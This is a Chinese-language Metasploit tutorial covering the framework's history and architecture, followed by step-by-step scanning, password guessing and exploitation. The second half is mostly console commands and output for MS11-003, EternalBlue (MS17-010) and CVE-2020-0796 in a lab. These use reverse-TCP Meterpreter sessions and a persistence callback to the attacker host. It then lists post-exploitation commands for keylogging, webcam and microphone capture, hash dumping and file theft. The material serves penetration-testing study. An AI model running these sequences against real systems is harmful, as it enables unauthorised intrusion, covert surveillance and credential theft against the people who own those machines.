Metasploit 简介
Metasploit 是一个开源的渗透测试软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
诞生与发展
Metasploit 项目最初是由 HD Moore 在 2003 年夏季创立,目标是成为渗透攻击研究与代码开发的一个开放资源。HD Moore在2003年的10月发布了他的第一个基于Perl 语言(pl)的Metasploit版本,当时一共集成了11个渗透攻击模块。 在Spoonm的帮助下,完全重写了Metasploit 的代码,并在2004年4月发布了Metasploit v2.0,版本中已经包含了18个渗透攻击模块和27个攻击载荷(payload) ,并提供了控制台终端,命令行和web 三个使用接口。 在2004年8月,HD和Spoonm带着最新发布的Metasploit v2.2并在拉斯维加斯举办的BlackHat全球黑客大会上进行了演讲。听众被Metasploit的强大之处所折服,并一致认为:Metasploit 时代已经到来。更多的黑客加入Metasploit核心开发团队与贡献渗透攻击、载荷与辅助模块代码。 在2005年的CanSecwest黑客会议上,HD和Spoonm指出了Metasploit v2体系框架中的一些难以解决的难题,包括:
- 缺乏跨平台支持,特别是不能很好地运行在 Windows 系统上。
- 很难支持自动化渗透攻击过程。
- Perl语言的复杂性和缺点使得外部贡献者与用户规模增长不相适应。
- Perl语言对一些复杂特性的支持能力较弱等。
而且 v2 版本是完全围绕着渗透攻击而设计的,对信息搜集与后渗透攻击阶段无法提供有效支持。经过 18 个月的时间,Metasploit 团队使用 Ruby 语言完全重写了 Metasploit ,并在 2007 年 5 月发布了 v3.0 版本,其中包含 177 个渗透攻击模块、 104 个攻击载荷模块以及 30个 新引入的辅助模块。 Metasploit v3.0的发布使得Metasploit不再限于用作渗透攻击软件,而真正成为一个事实上的渗透测试技术研究与开发平台。 2009年10月,Metasploit项目被一家渗透测试技术领域的知名安全公司Rapid7所收购。Rapid7公司随后与2010年10月推出了Metasploit Express 和Pro商业版本。 Metasploit v4.0在2011年8 月发布。v4.0版本在渗透攻击、攻击载荷与辅助模块的数量上都有显著的扩展,此外还引入一种新的模块类型—后渗透攻击模块,以支持在渗透攻击环节中进行敏感信息搜集、内网拓展等一系列的攻击测试。 Metasploit v5.0在2019年1月份发布。Metasploit 5.0使用了新的数据库,并提供了一种新的数据服务。新版本引入了新的规避机制( evasion apabilities),支持多项语言,框架建立在不断增长的世界级攻击性内容库的框架基础上。另外,此次更新还包括了可用性改进和大规模开发的支持,数据库和自动化API的改进等。
技术架构
辅助模块(信息收集阶段)
Metasploit 为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz 测试发掘漏洞、实施网络协议欺骗等模块。 辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息。
渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。 主动渗透攻击所利用的安全漏洞位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通常是在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透攻击可以主动发起,通过连接目标系统网络服务,注入一些特殊构造的包含"邪恶"攻击数据的网络请求内容,触发安全漏洞,并使得远程服务进程执行在"邪恶"数据中包含攻击载荷,从而获取目标系统的控制会话。 被动渗透攻击利用的漏洞位于客户端软件中,如浏览器、浏览器插件、电子邮件客户端、Office与Adobe等各种文档阅读与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出"邪恶"的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务、发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网络欺骗和劫持技术等方式,等目标系统上的用户访问到这些邪恶的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell会话。
攻击载荷模块
攻击载荷是在渗透攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
空指令模块
空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。
编码器模块
攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入“邪恶”数据缓冲区交由目标系统运行之前,Metasploit框架还需要完成一道非常 重要的工序—编码。 编码器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的"坏字符"。编码器的第二个使命就是对攻击载荷进行"免杀"处理。
后渗透攻击模块
后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、 实施跳板攻击等。
免杀模块
对攻击载荷进行“免杀”处理。
为什么使用Metasploit?
渗透攻击是目前Metasploit最强大和最具吸引力的核心功能,Metasploit框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。 除了渗透攻击之外,Metasploit在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。
情报搜集阶段
Metasploit一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap、Nessus、OpenVAS等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精确情报。
威胁建模阶段
在搜集信息之后,Metasploit支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL、MySQL、SQLite数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜索到的情报进行威胁建模,从中找出最可行的攻击路径。
漏洞分析阶段
除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,Metasploit中还提供了大量的协议Fuzz测试器与Web应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出0Day漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量。
后渗透攻击阶段
在成功实施渗透攻击并获得目标系统的远程控制权之后,Metasploit框架中另一个极具威名的工具Meterpreter在后渗透攻击阶段提供了强大功能。 Meterpreter可以看作一一个支持多操作系统平台,可以仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter中实现了特权提升、信息攫取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外功能的后渗透攻击模块。
报告生成阶段
Metasploit框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测试报告的写作。 商业版的Metasploit Pro具备了更加强大的报告生成功能,可以输出HTML、XML、Word和PDF格式的报告,支持定制渗透测试报告模板。
Metasploit 的使用
一个模块就是一个 rb 脚本。
启动 MSF
msfconsole

情报搜集
网站敏感目录扫描
可以借助 Metasploit 中的 brute_dirs、dir_listing、dir_scanner 等辅助模块来进行敏感目录扫描。 他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典。 例如:dir_scanner 模块,只要字典足够强大,可以找出更多的敏感目录
use auxiliary/scanner/http/dir_scanner //使用 dir_scanner 模块
info //查看模块详情
set RHOSTS 192.168.49.129
set RPORT 80
set THREADS 50
exploit

主机发现
Metasploit 中提供了一些辅助模块可用于主机发现,这些模块位于modules/ auxiliary/scanner/discovery/目录中
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxitiary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp
一般情况下推荐使用 syn 端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。 扫描示例:
- 打开 Metasploit 框架:
msfconsole

- 设置目标 IP 地址范围:
set RHOSTS 192.168.49.132/24 #设置目标主机地址

- 选择模块:使用 Nmap 进行端口扫描:
use auxiliary/scanner/portscan/tcp

- 配置模块参数:
set PORTS 1-65535 #设置要扫描的端口范围

- 启动扫描:
run #开始扫描
探测服务详细信息
在 Metasploit 中有一些插件可以调用系统中的命令,比如可以使用Nmap探测目标的详细服务信息,命令
nmap -sS -Pn 192.168.1.1 -sV
-sS //使用SYN半连接扫描
-Pn //在扫描之前,不发送ICME echo 请求测试目标是否活跃
-sV //探测服务详细版本
服务查点
在 Metasploit 的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version命名。该模块可用于遍历网络中包含某种服务的主机,并进一步确定服务的版本。
Telnet 服务查点
Telnet是一个历史悠 久但先天缺乏安全性的网络服务。由于Telnet没有对传输的数据进行加密,越来越多的管理员渐渐使用更为安全的SSH协议代替它。尽管如此,很多价格昂贵、使用寿命更长的大型交换机使用Telnet协议的可能性更大,而此类交换机在网络中的位置一般来说都非常重要。可以使用auxiliary/scanner/telnet/telnet_version模块扫描一下是否有主机或设备开启了Tenlnet服务。
SSH 服务查点
通常管理员会使用 SSH 对服务器进行远程管理,服务器会向 SSH 客户端返回一一个远程 Shell 连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应登录用户的所有权限。可以使用auxiliary/scanner/ssh/ssh_version模块遍历网络中开启SSH服务的主机。
MSSQL 服务查点
可以使用auxiliary/scanner/mssql/mssql_ping查找 SQL Server
口令猜解
Telnet 服务口令猜解
使用auxiliary/scanner/telnet/telnet_login模块进行猜解,需要设置用户和密码字典
SSH 服务口令猜解
使用auxiliary/scanner/ssh/ssh_login模块进行猜解,需要设置用户和密码字典
MSSQL 服务破解
使用auxiliary/scanner/mssql/mssql_login模块进行破解,需要设置用户和密码字典
经典漏洞利用
MS11-003
- 通过对这个漏洞详细的描述可知这个漏洞是需要ie浏览器触发,下面是这个漏洞的利用过程
root@kali:~# msfconsole
msf5 > search ms11_003 # 搜索是否拥有此exp
msf5 > use exploit/windows/browser/ms11_003_ie_css_import # 使用此exp
msf5 exploit(windows/browser/ms11_003_ie_css_import) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/browser/ms11_003_ie_css_import) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.72.135:8443
[*] Using URL: http://0.0.0.0:8080/CvYCK0e2WPMi8
[*] Local IP: http://192.168.72.135:8080/CvYCK0e2WPMi8 # 复制这个地址,让被攻击主机ie浏览器访问
[*] Server started.

msf5 exploit(windows/browser/ms11_003_ie_css_import) > sessions # 查看会话
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows win7-PC\win7 @ WIN7-PC 192.168.72.135:8443 -> 192.168.72.137:49198 (192.168.72.137)
2 meterpreter x64/windows win7-PC\win7 @ WIN7-PC 192.168.72.135:8443 -> 192.168.72.137:49201 (192.168.72.137)
msf5 exploit(windows/browser/ms11_003_ie_css_import) > sessions -i 1 # 进入第一个会话
[*] Starting interaction with 1...
meterpreter > sysinfo # 查看系统信息,已经被入侵成功
Computer : WIN7-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > run persistence -X -i 10 -p 5555 -r 192.168.72.135 # 设置开机自动上线
meterpreter > run metsvc -A # 获得系统权限
此时 win7 即使关闭浏览器也无法逃脱被控制
用户操作:Stdapi: User interface Commands(用户接口命令)
enumdesktops -->列出所有可访问的桌面和窗口站(窗体列表)
getdesktop -->得到当前的Meterpreter桌面
idletime -->返回秒远程用户已经闲置数量
keyscan_dump -->转储按键缓冲(下载键盘记录)
keyscan_start -->开始捕获击键(开始键盘记录)
keyscan_stop -->停止捕获击键(停止键盘记录)
screenshot -->抓取交互式桌面截图(当前操作界面截图一张)
setdesktop -->改变meterpreters当前桌面
uictl -->控制一些用户界面组件(获取键盘、鼠标控制权)
使用uictl -h 查看帮助(打开/关闭,键盘/鼠标)
PS:键盘记录注意点,先开始,后下载,再结束,否则会出错
摄像头:Stdapi: Webcam Commands(摄像头命令)
record_mic -->X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat -->开始视频聊天(视频,对方会有弹窗)
webcam_list -->单摄像头(查看摄像头列表)
webcam_snap -->采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream -->播放视频流从指定的摄像头(开启摄像头监控)
其他命令操作
getsystem -->获取高权限
hashdump -->获取当前用户hash
2.文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops #用户登录数
1)下载文件
使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
(2)上传文件
“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
(3)查看文件
“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
(4)切换、查询当前路径
“pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。
MS17-010
- 著名漏洞永恒之蓝,当年导致了比特币暴涨
root@kali:~# msfconsole
msf5 > search ms17_010
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.72.137
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[+] 192.168.72.137:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.72.137:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.72.137:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# 看到这个WIN就说明入侵成功
meterpreter > sysinfo
Computer : WIN7-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
CVE-2020-0796(永恒之黑)
- 2020年3月爆发的windows漏洞,1909版本以下的win10全部受到影响,运行winver查看版本
- 2004 版本为不受影响的第一个 win10 版本

- 该漏洞可以直接获取win10系统最高权限,远程调用win10的摄像头,麦克风等等设备
下面我们一起来复现这个漏洞。
扫描漏洞的存在
C:\Users\Aaron\Desktop\CVE-2020-0796-PoC>CVE-2020-0796-Scanner.exe 192.168.72.141
本漏洞扫描工具仅限于网络安全管理员发现本组织的问题系统使用,依据网络安全法,任何攻击为目的对非授权系统的非法使用所导致的后果自负。
[+] 目标 [192.168.72.141] 已支持SMB v3.1.1
[-] 警告!目标 [192.168.72.141] 仍存在漏洞风险
- 开启端口监听
kali@kali:~$ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set rhost 192.168.72.141
msf5 exploit(multi/handler) > set lport 3333
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run
- 运行exp程序
root@kali:/home/kali/桌面/CVE-2020-0796-PoC/getshell# python3 exploit.py -ip 192.168.72.141
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7e940000000
[+] found PML4 self-ref entry 1fb
[+] found HalpInterruptController at fffff7e940001838
[+] found HalpApicRequestInterrupt at fffff8026af5ebb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffffdfbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
- 获得系统shell
meterpreter > sysinfo
Computer : DESKTOP-4QBCKUQ
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > shell
Process 4636 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.18363.592]
(c) 2019 Microsoft Corporation����������Ȩ����
C:\Windows\system32>ipconfig
ipconfig
Windows IP ����
���������� Ethernet0:
�����ض��� DNS �� . . . . . . . : localdomain
�������� IPv6 ��. . . . . . . . : fe80::19e9:645f:150d:860f%4
IPv4 �� . . . . . . . . . . . . : 192.168.72.141
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . : 192.168.72.2
���������� ������������:
ý��״ . . . . . . . . . . . . : ý���ѶϿ�����
�����ض��� DNS �� . . . . . . . :